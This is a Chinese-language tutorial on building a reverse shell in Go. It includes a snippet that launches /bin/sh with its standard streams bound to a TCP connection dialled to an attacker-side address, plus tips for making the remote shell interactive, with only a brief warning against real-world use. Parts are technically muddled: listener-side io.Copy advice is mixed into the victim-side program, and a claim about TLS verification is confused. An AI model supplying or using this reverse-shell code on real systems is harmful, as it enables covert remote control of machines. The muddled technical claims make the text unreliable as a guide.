反向 shell 在 go 中可用 net.dial 实现,因需被控端主动连接服务端,故用 net.dial 而非 net.listen;通过 exec.command 启动 shell 并将 stdin/stdout/stderr 绑定到 conn,再并发运行两个 io.copy 实现实时交互。

反向 Shell 在 Go 中能写出来,但不建议在生产或真实网络环境中使用——它本质是绕过防火墙的远程控制通道,绝大多数场景下属于高危行为,会被安全设备直接拦截或标记为恶意流量。
为什么 net.Dial 是反向 Shell 的起点,而不是 net.Listen
反向 Shell 的核心逻辑是“被控端主动连出”,不是等待连接。所以服务端(攻击者)用 net.Listen 监听,而客户端(目标机器)必须用 net.Dial 主动建立 TCP 连接。一旦连接成功,标准输入输出就可以和 socket 绑定。
- 用
net.Listen写客户端?根本连不上——目标机器通常没有公网 IP,且防火墙默认放行出站、拦截入站 -
net.Dial的地址必须是服务端可暴露的 IP+端口,比如"192.168.1.100:4444",不能写"localhost"或内网不可达地址 - Go 默认不校验 TLS,纯 TCP 明文传输,
net.Dial("tcp", ...)会直接暴露命令、凭证、终端内容
如何把 os.Stdin 和 os.Stdout 接到 net.Conn 上
关键不是“转发”,而是让 shell 进程的标准流与网络连接共享底层文件描述符。Go 没有直接等价于 Python 的 subprocess.Popen(..., stdin=conn),得靠 syscall 级操作或 exec.Command + pipe 中转。
- 最简方式:用
exec.Command("/bin/sh")启动 shell,再用cmd.Stdin/cmd.Stdout/cmd.Stderr全部设为conn - 别漏掉
cmd.Stderr = conn——否则错误信息看不到,调试时以为卡死 - 必须调用
cmd.Start()而非cmd.Run(),后者会阻塞直到 shell 退出,无法实时交互 - Windows 下路径要换成
"cmd.exe",且需处理换行符差异(\r\nvs\n)
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Start()
cmd.Wait() // 注意:这里只是等待 shell 结束,不是阻塞主 goroutine
为什么加 time.Sleep 或 io.Copy 循环容易卡住或丢数据
单纯起一个 shell 并不等于“交互式终端”。网络连接和进程 IO 不同步,没做流控就会出现粘包、截断、回显错乱。
立即学习“go语言免费学习笔记(深入)”;
- 不要用
io.Copy(conn, os.Stdin)单向复制——这只会把键盘输入发出去,收不到响应 - 也不能只
io.Copy(os.Stdout, conn)——输出有了,但输不进命令 - 正确做法是启动两个 goroutine 并发复制:
io.Copy(conn, os.Stdin)和io.Copy(os.Stdout, conn) - 必须用
sync.WaitGroup等待两个 copy 完成,否则 main 函数退出导致连接提前关闭 - 某些终端(如 zsh)需要发送
"stty raw -echo"初始化,否则 Ctrl+C 不生效、退格键异常
真正难的不是连通,而是让返回的 shell 行为接近本地终端:信号传递、窗口大小同步、UTF-8 编码、Ctrl+Z 挂起、job control……这些 Go 标准库不提供抽象,得自己啃 syscall.Syscall 或依赖 golang.org/x/term 做 tty 层适配。没做过终端复用的人,大概率卡在光标不动或命令不回显上。










